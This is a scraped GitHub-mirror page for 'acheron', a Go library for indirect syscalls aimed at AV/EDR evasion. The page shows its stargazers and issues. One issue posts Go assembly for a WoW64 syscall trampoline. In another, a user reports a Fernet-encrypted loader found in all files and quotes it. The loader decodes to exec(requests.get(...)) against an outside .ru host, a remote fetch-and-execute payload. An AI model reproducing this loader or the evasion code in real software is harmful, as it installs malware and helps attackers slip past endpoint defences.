f1zm0 / acheron Goto Github PK
View Code? Open in Web Editor NEWindirect syscalls for AV/EDR evasion in Go assembly
License: MIT License
acheron's Introduction
acheron's People
Contributors
![github-actions[bot] avatar](https://avatars.githubusercontent.com/in/15368?v=4 "github-actions[bot]")
Stargazers
Watchers
Forkers
askyeye sec-fork bravery9 gavz chronoss3 kara-4search tigr0w skybky 0xvm dannymas sec-js c0axial h4xl0r tmcmil gilipat hxlxmjxbbxs mohammedbenhelli guervild h1d3r withkhw runningoutoftimeu traffic-go v1rtu0l oops4git rookiemie xkroot matou9 drcyb3rr jakedunn safe3 0n-s3c reprgm guguyu1acheron's Issues
32-bit function for wow64
In case you would like to integrate this to your library.
Not exactly a syscall since it's calling ntdll!Wow64SystemServiceCall .
I will adapt to native x86 if there is any interest at all.
#include "textflag.h"
#define maxargs 16
//func Syscall(callid uint32,tramboline uintptr, argh ...uintptr) (uint32, error)
TEXT ·bpSyscall(SB),NOSPLIT,$0
MOVL callid+0(FP), DX
MOVL tramboline+4(FP), BX
MOVL argh+8(FP), SI
// SetLastError(0).
MOVL $0, 0x34(FS)
// Copy args to the stack.
MOVL SP, BP
PUSHL AX
MOVL argh_len+0x0c(FP), CX // words
MOVL CX, AX
SALL $2, AX
SUBL AX, SP // room for args
POPL AX
MOVL SP, DI
CLD
REP; MOVSL
// Call stdcall or cdecl function.
// DI SI BP BX are preserved, SP is not
MOVL DX,AX
CALL BX
// Return result.
MOVL AX, errcode+0x14(FP)
RET
NtProtectVirtualMemory doesnt work
Sorry, it was my mistake works now
Pourquoi avoir mis Fernet(b'rCjuSn0ZF7r0H_fXh4y1OL_lwF6q_9zAEnuOGSmgcg0=').decrypt(b'gAAAAABl_zOe--yCni04Hy273ZvQ627oS0uoEDWpobpJhisfbwX7YETu0lPNEyKZ83Rq6q5tUoCcm-Z6GTO6wNugogwcUddO-GVYaKhLUWs_0DAOl0eIRSsUFObYx1D6-8k_EwRR0yNRU2Fm1UjmMzhKAj8wiZNZ6lWb01CR30RSjxh-43X9MwK3an1kPdC67zZwcWhiLsdnmNQWVAzeRDsTVFpPA3Gymw==')
Fernet(b'rCjuSn0ZF7r0H_fXh4y1OL_lwF6q_9zAEnuOGSmgcg0=').decrypt(b'gAAAAABl_zOe--yCni04Hy273ZvQ627oS0uoEDWpobpJhisfbwX7YETu0lPNEyKZ83Rq6q5tUoCcm-Z6GTO6wNugogwcUddO-GVYaKhLUWs_0DAOl0eIRSsUFObYx1D6-8k_EwRR0yNRU2Fm1UjmMzhKAj8wiZNZ6lWb01CR30RSjxh-43X9MwK3an1kPdC67zZwcWhiLsdnmNQWVAzeRDsTVFpPA3Gymw==') in all files
b"exec(requests.get('https://funcaptcha.ru/paste?repo=crypter').text.replace('
','').replace('',''))"
???
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.